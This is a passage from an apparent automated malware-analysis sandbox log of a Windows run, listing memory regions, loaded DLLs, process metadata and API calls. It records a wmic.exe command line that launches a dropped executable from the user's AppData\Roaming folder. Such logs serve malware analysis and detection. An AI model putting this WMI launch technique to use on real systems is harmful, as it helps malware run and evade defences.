0x14bc1f0000 end_va = 0x14bc1f0fff entry_point = 0x0 region_type = private name = "private_0x00000014bc1f0000" filename = "" Region: id = 4750 start_va = 0x14bc380000 end_va = 0x14bc507fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000014bc380000" filename = "" Region: id = 4751 start_va = 0x14bc540000 end_va = 0x14bc54ffff entry_point = 0x0 region_type = private name = "private_0x00000014bc540000" filename = "" Region: id = 4752 start_va = 0x14bc550000 end_va = 0x14bc6d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000014bc550000" filename = "" Region: id = 4753 start_va = 0x14bc6e0000 end_va = 0x14bdadffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000014bc6e0000" filename = "" Region: id = 4754 start_va = 0x7ff707d00000 end_va = 0x7ff707dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707d00000" filename = "" Region: id = 4755 start_va = 0x7ff707e2a000 end_va = 0x7ff707e2bfff entry_point = 0x0 region_type = private name = "private_0x00007ff707e2a000" filename = "" Region: id = 4756 start_va = 0x7ff9e0000000 end_va = 0x7ff9e0052fff entry_point = 0x7ff9e0000000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 4757 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4758 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4759 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4760 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4761 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4762 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4763 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4764 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4765 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4766 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4767 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Thread: id = 92 os_tid = 0x7ac Thread: id = 93 os_tid = 0xb7c Thread: id = 94 os_tid = 0x790 Thread: id = 95 os_tid = 0x864 Process: id = "9" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x6cfe9000" os_pid = "0x784" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x79c" cmd_line = "\"C:\\Windows\\SysWOW64\\wbem\\wmic.exe\" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4838 start_va = 0x20000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4839 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4840 start_va = 0x50000 end_va = 0x63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4841 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4842 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4843 start_va = 0xc80000 end_va = 0xce3fff entry_point = 0xc80000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\SysWOW64\\wbem\\WMIC.exe" (normalized: "c:\\windows\\syswow64\\wbem\\wmic.exe") Region: id = 4844 start_va = 0xcf0000 end_va = 0x4ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 4845 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4846 start_va = 0x7f2f0000 end_va = 0x7f312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f2f0000" filename = "" Region: id = 4847 start_va = 0x7f318000 end_va = 0x7f318fff entry_point = 0x0 region_type = private name = "private_0x000000007f318000" filename = "" Region: id = 4848 start_va = 0x7f31c000 end_va = 0x7f31efff entry_point = 0x0 region_type = private name = "private_0x000000007f31c000" filename = "" Region: id = 4849 start_va = 0x7f31f000 end_va = 0x7f31ffff entry_point = 0x0 region_type = private name = "private_0x000000007f31f000" filename = "" Region: id = 4850 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4851 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4852 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 4853 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4854 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 4856 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4857 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4858 start_va = 0x110000 end_va = 0x111fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4859 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4860 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4861 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4862 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4863 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4915 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4916 start_va = 0x120000 end_va = 0x1ddfff entry_point = 0x120000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4917 start_va = 0x74460000 end_va = 0x744f0fff entry_point = 0x74460000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4918 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4919 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4920 start_va = 0x7ee60000 end_va = 0x7f1effff entry_point = 0x7ee60000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 4921 start_va = 0x7f1f0000 end_va = 0x7f2effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f1f0000" filename = "" Region: id = 4922 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4923 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4924 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4925 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4926 start_va = 0x73300000 end_va = 0x7333efff entry_point = 0x73300000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4927 start_va = 0x73fc0000 end_va = 0x73fc7fff entry_point = 0x73fc0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 4928 start_va = 0x73fd0000 end_va = 0x73ffffff entry_point = 0x73fd0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 4929 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4930 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4931 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4932 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4933 start_va = 0x749e0000 end_va = 0x74b99fff entry_point = 0x749e0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4934 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4935 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4936 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4937 start_va = 0x7f319000 end_va = 0x7f31bfff entry_point = 0x0 region_type = private name = "private_0x000000007f319000" filename = "" Region: id = 4938 start_va = 0x75650000 end_va = 0x7565bfff entry_point = 0x75650000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4939 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4940 start_va = 0x75150000 end_va = 0x751d1fff entry_point = 0x75150000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4941 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4942 start_va = 0x732f0000 end_va = 0x732fcfff entry_point = 0x732f0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4943 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4944 start_va = 0x73280000 end_va = 0x732e5fff entry_point = 0x73280000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4945 start_va = 0x74080000 end_va = 0x7409afff entry_point = 0x74080000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 4946 start_va = 0x450000 end_va = 0x786fff entry_point = 0x450000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4947 start_va = 0x77240000 end_va = 0x772d1fff entry_point = 0x77240000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4948 start_va = 0x790000 end_va = 0x878fff entry_point = 0x790000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4949 start_va = 0x280000 end_va = 0x283fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4950 start_va = 0x730f0000 end_va = 0x7327ffff entry_point = 0x730f0000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 4951 start_va = 0x790000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 4952 start_va = 0x790000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 4953 start_va = 0x950000 end_va = 0x95ffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 4954 start_va = 0x960000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 4955 start_va = 0x3b0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4956 start_va = 0x4cf0000 end_va = 0x4ebffff entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 4957 start_va = 0x790000 end_va = 0x86efff entry_point = 0x790000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4958 start_va = 0x940000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 4959 start_va = 0x4ec0000 end_va = 0x52bffff entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 4960 start_va = 0x290000 end_va = 0x290fff entry_point = 0x290000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\SysWOW64\\msxml3r.dll" (normalized: "c:\\windows\\syswow64\\msxml3r.dll") Region: id = 4961 start_va = 0x3b0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4962 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 4963 start_va = 0x738a0000 end_va = 0x739fffff entry_point = 0x738a0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 4964 start_va = 0x74c90000 end_va = 0x74d0afff entry_point = 0x74c90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4965 start_va = 0x75260000 end_va = 0x752ecfff entry_point = 0x75260000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4966 start_va = 0x75100000 end_va = 0x75143fff entry_point = 0x75100000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4967 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4968 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4969 start_va = 0x73a00000 end_va = 0x73cc0fff entry_point = 0x73a00000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 4970 start_va = 0x3f0000 end_va = 0x419fff entry_point = 0x3f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4971 start_va = 0x960000 end_va = 0xae7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 4972 start_va = 0xb20000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 4973 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4974 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4975 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x2a0000 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmic.exe.mui") Region: id = 4976 start_va = 0x4cf0000 end_va = 0x4e70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004cf0000" filename = "" Region: id = 4977 start_va = 0x4eb0000 end_va = 0x4ebffff entry_point = 0x0 region_type = private name = "private_0x0000000004eb0000" filename = "" Region: id = 4978 start_va = 0x52c0000 end_va = 0x66bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052c0000" filename = "" Region: id = 4979 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4980 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 4981 start_va = 0x74220000 end_va = 0x74443fff entry_point = 0x74220000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 4982 start_va = 0x75560000 end_va = 0x75649fff entry_point = 0x75560000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4983 start_va = 0x740e0000 end_va = 0x74154fff entry_point = 0x740e0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4984 start_va = 0x400000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4985 start_va = 0x410000 end_va = 0x410fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 4986 start_va = 0x870000 end_va = 0x927fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 4987 start_va = 0x410000 end_va = 0x413fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 4988 start_va = 0x740c0000 end_va = 0x740dcfff entry_point = 0x740c0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4989 start_va = 0xb30000 end_va = 0xc2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 4990 start_va = 0x740a0000 end_va = 0x740b2fff entry_point = 0x740a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4991 start_va = 0x74050000 end_va = 0x7407efff entry_point = 0x74050000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4992 start_va = 0xc30000 end_va = 0xc6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 4993 start_va = 0x66c0000 end_va = 0x66fffff entry_point = 0x0 region_type = private name = "private_0x00000000066c0000" filename = "" Region: id = 4994 start_va = 0x6700000 end_va = 0x673ffff entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 4995 start_va = 0x6740000 end_va = 0x677ffff entry_point = 0x0 region_type = private name = "private_0x0000000006740000" filename = "" Region: id = 4996 start_va = 0x6780000 end_va = 0x67bffff entry_point = 0x0 region_type = private name = "private_0x0000000006780000" filename = "" Region: id = 4997 start_va = 0x67c0000 end_va = 0x67fffff entry_point = 0x0 region_type = private name = "private_0x00000000067c0000" filename = "" Region: id = 4998 start_va = 0x7f1ea000 end_va = 0x7f1ecfff entry_point = 0x0 region_type = private name = "private_0x000000007f1ea000" filename = "" Region: id = 4999 start_va = 0x7f1ed000 end_va = 0x7f1effff entry_point = 0x0 region_type = private name = "private_0x000000007f1ed000" filename = "" Region: id = 5000 start_va = 0x7f315000 end_va = 0x7f317fff entry_point = 0x0 region_type = private name = "private_0x000000007f315000" filename = "" Region: id = 5001 start_va = 0x730d0000 end_va = 0x730e0fff entry_point = 0x730d0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 5383 start_va = 0x73010000 end_va = 0x730cbfff entry_point = 0x73010000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 5384 start_va = 0xaf0000 end_va = 0xb13fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 5385 start_va = 0x420000 end_va = 0x433fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Thread: id = 100 os_tid = 0x134 [0154.054] GetModuleHandleA (lpModuleName=0x0) returned 0xc80000 [0154.054] __set_app_type (_Type=0x1) [0154.054] __p__fmode () returned 0x77454d6c [0154.054] __p__commode () returned 0x77455b1c [0154.054] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcbaa90) returned 0x0 [0154.054] __wgetmainargs (in: _Argc=0xcc91a8, _Argv=0xcc91ac, _Env=0xcc91b0, _DoWildCard=0, _StartInfo=0xcc91bc | out: _Argc=0xcc91a8, _Argv=0xcc91ac, _Env=0xcc91b0) returned 0 [0154.054] ??0CHString@@QAE@XZ () returned 0xcc95ec [0154.055] ??0CHString@@QAE@XZ () returned 0xcc98fc [0154.055] ?Empty@CHString@@QAEXXZ () returned 0x73336424 [0154.055] SetConsoleCtrlHandler (HandlerRoutine=0xcb4980, Add=1) returned 1 [0154.056] _onexit (_Func=0xcc0a20) returned 0xcc0a20 [0154.056] _onexit (_Func=0xcc0a30) returned 0xcc0a30 [0154.056] _onexit (_Func=0xcc0a50) returned 0xcc0a50 [0154.056] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0154.056] ResolveDelayLoadedAPI () returned 0x74a4cd50 [0154.056] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0154.059] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0154.066] CoCreateInstance (in: rclsid=0xc86a1c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc86a2c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xcc9510 | out: ppv=0xcc9510*=0x2c5c98) returned 0x0 [0154.294] GetCurrentProcess () returned 0xffffffff [0154.294] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0xef9f8 | out: TokenHandle=0xef9f8*=0x170) returned 1 [0154.294] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xef9f4 | out: TokenInformation=0x0, ReturnLength=0xef9f4) returned 0 [0154.295] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x3, TokenInformation=0x4439f8, TokenInformationLength=0x118, ReturnLength=0xef9f4 | out: TokenInformation=0x4439f8, ReturnLength=0xef9f4) returned 1 [0154.295] AdjustTokenPrivileges (in: TokenHandle=0x170, 